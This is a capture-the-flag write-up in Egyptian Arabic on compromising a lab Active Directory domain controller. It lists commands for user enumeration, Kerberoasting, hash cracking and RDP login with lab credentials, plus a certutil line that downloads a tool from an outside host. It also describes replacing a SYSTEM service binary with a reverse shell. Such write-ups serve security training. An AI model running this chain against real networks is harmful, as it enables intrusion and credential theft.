مفيش CVE واحد هنا — ده Domain Controller بنيت فوق سلسلة من الأخطاء التشغيلية المتراكمة: SMB Share فيه ملفات حساسة، PowerShell history فيها كلمة سر قديمة، Git repository فيه كلمات سر Hardcoded، وحساب Kerberoastable بكلمة سر ضعيفة. وفي النهاية سيرفس شغال بصلاحيات SYSTEM وملفه التنفيذي قابل للكتابة.
User Flag من Desktop بعد RDP + SYSTEM Flag بعد Service Binary Hijack
Nmap فحص كامل للبورتات يكشف DNS، Kerberos، LDAP، RDP، وBitbucket على 7990. Kerbrute يكشف 8 مستخدمين صحيحين عن طريق الرد على Kerberos Pre-Auth.
nmap -sC -sV -p-Kerbrute userenumimpacket-GetNPUsers يتأكد إن كل المستخدمين عندهم Pre-Authentication مفعّل — مفيش حسابات ضعيفة من هذا الاتجاه.
GetNPUsers.pyNo vulnerable accountsNull session يفتح شيرز “Docs” و”Users”. تنزيل الشير كامل يكشف ملف ConsoleHost_history.txt فيه كلمة سر قديمة لحساب replication (متغيّرة فعلياً).
smbclient (null session)ConsoleHost_history.txtالتحقيق في الـ Bitbucket instance على بورت 7990 يكشف ملفات config فيها كلمات سر Hardcoded: نيك وكلمة سر، وحساب contractor-temp.
Hardcoded Credentialsnik:ToastyBoi!بعد تسجيل الدخول بحساب nik، GetUserSPNs يطلب TGS ticket لحساب bitbucket، وHashcat يكسر الـ hash في دقائق.
GetUserSPNs.pyhashcat -m 13100تسجيل دخول RDP بحساب bitbucket المكسور، وإيجاد الـ User Flag على سطح المكتب.
xfreerdpUser Flag ✓winPEAS يكشف إن سيرفس ZeroTier شغال بصلاحيات SYSTEM وملفه التنفيذي قابل للكتابة. استبدال الملف بـ reverse shell (Nishang + ps2exe) وإعادة تشغيل السيرفس يديك SYSTEM مباشرة.
winPEASWritable Service BinarySYSTEM Shell 🏆| الأمر | الوصف | المرحلة |
|---|---|---|
| nmap -sC -sV -Pn -p- lab.enterprise.thm | فحص شامل لكل البورتات المفتوحة | Recon |
| kerbrute userenum -d lab.enterprise.thm users.txt | تعداد المستخدمين الصحيحين عبر Kerberos | Enum |
| impacket-GetNPUsers lab.enterprise.thm/ -usersfile users.txt | فحص AS-REP Roasting | Check |
| smbclient //DC/Users -N | الوصول لشير SMB بـ Null Session | SMB |
| impacket-GetUserSPNs -request lab.enterprise.thm/nik | طلب TGS ticket للحسابات القابلة لـ Kerberoasting | Kerberoast |
| hashcat -m 13100 tgs.hash rockyou.txt | كسر الـ Kerberos TGS hash | Crack |
| xfreerdp /u:bitbucket /p:’littleredbucket’ /v:DC | الوصول بـ RDP بالحساب المكسور | Access |
| certutil -urlcache -f http://ip/winPEAS.exe w.exe | تنزيل winPEAS على الهدف | PrivEsc |
Nmap + Kerbrute لاكتشاف 8 مستخدمين صحيحين
إيجاد كلمة سر قديمة في ConsoleHost_history.txt
كشف كلمات السر Hardcoded في Git repository
GetUserSPNs + Hashcat لكسر كلمة السر
تسجيل دخول RDP وإيجاد الفلاج الأول
اكتشاف سيرفس ZeroTier بصلاحيات SYSTEM
استبدال الملف التنفيذي وإعادة تشغيل السيرفس